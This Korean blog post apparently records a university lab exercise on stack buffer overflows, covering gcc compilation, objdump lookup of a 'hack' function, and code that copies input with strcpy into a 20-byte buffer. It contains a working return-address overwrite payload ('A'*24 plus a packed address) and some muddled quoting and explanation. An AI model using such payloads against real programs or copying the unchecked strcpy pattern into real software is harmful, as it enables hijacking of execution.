[모의 해킹] 버퍼 오버플로우 공격 실습

! 이 포스트의 내용은 전공 강의에서 다룬 리눅스 보안 실습의 기록용이며, 이는 학습 목적으로만 사용되어야 합니다.

! 어떠한 경우에도 이러한 기술을 악용하거나 불법적인 활동에 사용해서는 안 됩니다.

 

! 모의 해킹과 관련된 실습은 합법적인 환경에서만 수행되어야 하며, 무단으로 다른 사람의 시스템에 접근하는 등의 행위는 법적인 문제로 이어질 수 있습니다. 이러한 기술을 사용할 때에는 항상 윤리적인 책임을 갖고 행동해야 합니다.

 

 

 

버퍼 오버플로우란?

 

컴퓨터 프로그램이 고정된 길이의 버퍼(buffer)보다 더 많은 데이터를 저장하려고 할 때 발생하는 단순한 프로그래밍 오류일 뿐만 아니라, 악의적인 공격자가 이를 이용하여 시스템을 공격할 수 있는 강력한 보안 취약점이다

버퍼 오버플로우 공격(Buffer Overflow Attack)은 주로 시스템 권한을 탈취하거나 악성 코드를 실행하기 위해 사용한다

 

 

버퍼 오버플로우 파일 생성

- (추가 예정) -

 

gcc 명령어를 이용해 컴파일

 

소스파일을 컴파일하여 디버깅 정보를 포함한 실행파일을 생성한다

# gcc -g -o overflow overflow.c

옵션	설명
gcc	GNU Compiler Collection의 C 컴파일러를 호출하는 명령어
-g	디버깅 정보를 포함하여 컴파일
-o	출력 파일 이름

 

 

 

실행파일 내 'hack' 함수 찾기

 

 

실행파일의 디스어셈블리 코드에서 'hack' 레이블을 검색하고, 해당 레이블이 포함된 줄과 그 다음 두 줄을 출력한다.

# objdump -D overflow | grep -A2 hack. :

옵션	설명
objdump	오브젝트 파일, 라이브러리 파일, 실행 파일의 내용을 분석하고 디스어셈블리하는 유틸리티
-D	든 섹션을 디스어셈블리
grep	텍스트 검색 도구로, 주어진 패턴과 일치하는 줄을 출력
-A2	매치된 줄과 더불어 그 이후의 N줄을 추가로 출력

 

결과는 'hack' 함수가 메모리 주소인 '0x08048614'에서 시작하며, 첫 두 개의 어셈블리 명령어인 'push %ebp'와 'mov %esp, %ebp'를 보여준다

 

 

 

오버플로우 발생시키기

 

파이썬을 이용하여 오버플로우를 발생시킬 문자열 입력한다.

# ./overflow 'python -c 'print "A" *23''

 

 

코드 분석

int main(int argc, char* argv[]){
	char buf[20];
    dumpcode((char*)buf, 32);
	...
}

 

char 형으로 20byte 크기에 buf라는 배열을 선언한다. 이 배열은 입력 문자열을 저장하기 위한 버퍼이다.

dumpcode를 사용해서 버퍼의 초기 상태를 32byte까지 출력한다.

 

 

실행 결과를 보면 buf  배열의 총 32바이트 값의 출력 결과를 확인 할 수 있다.

처음 20바이트는 buf 배열에 문자열이 저장 될 값이고, 바로 다음 4바이트는 프레임 포인터, 다음 4바이트는 복귀주소가 저장된다.

 

 

int main(int argc, char* argv[]) {
	...
    
    printf("buf: %p\n", (void*)&buf); // 버퍼의 주소를 출력
    strcpy(buf, argv[1]); // argv[1]의 문자열을 버퍼에 복사
    printf("s\n%s\n", buf); // 버퍼의 내용을 출력
    
    ...
}

 

 

 

 

int main(int argc, char* argv[]) {
	...
    
    dumpcode((char*)buf, 32); // 버퍼의 변경된 상태를 출력
    return 0; // 프로그램 종료
}

 

위 코드에서 strcpy를 통해 입력받은 문자열(23개의 A)을 buf 배열에 복사한 후 출력해주는 코드이다.

 

 

출력 결과를 보면, 문자열이 입력되기 전과 달리 총 23바이트가 A 문자열(아스키코드 : 0x41)로 채워진 것을 확인할 수 있다.

처음 설정한 buf의 크기인 20byte가 초과되어 뒤에 메모리 영역까지 문자로 덮어진 것을 볼 수 있다.

이렇게 오버플로우되는 과정을 볼 수 있었다.

 

 

 

오버플로우 발생 후 hack 함수 실행시키기

 

위에서 확인했던 것처럼 처음 설정한 buf 크기를 초과한 입력을 주어 다음 메모리값을 강제로 다른 값으로 덮어씌우게 되면 이 오버플로우의 취약점을 이용해 공격을 진행할 수 있다.

# objdump -D overflow | grep -A2 hack. :
# ./overflow 'python -c'print "A" *24 + "\x14\x86\x04\x08"''

 

앞에서 확인했던 hack() 함수의 메모리 주소인 ' 0x08048614'을 buf 크기를 초과한 문자열 뒤에 같이 입력하여 프레임포인터가 hack()함수를 호출하게 한다.

 

 

 

이처럼 버퍼 오버플로우가 발생하면 메모리 영역이 덮어쓰여져 프로그램의 동작이 예기치 않게 변경될 수 있다. 이로 인해 프로그램이 충돌하거나 공격자가 악성 코드를 실행할 수 있다.

 

이 코드는 교육 목적으로 작성되었지만, 실제 환경에서는 버퍼 오버플로우와 같은 보안 취약점이 존재하지 않도록 입력 검증을 철저히 해야 한다.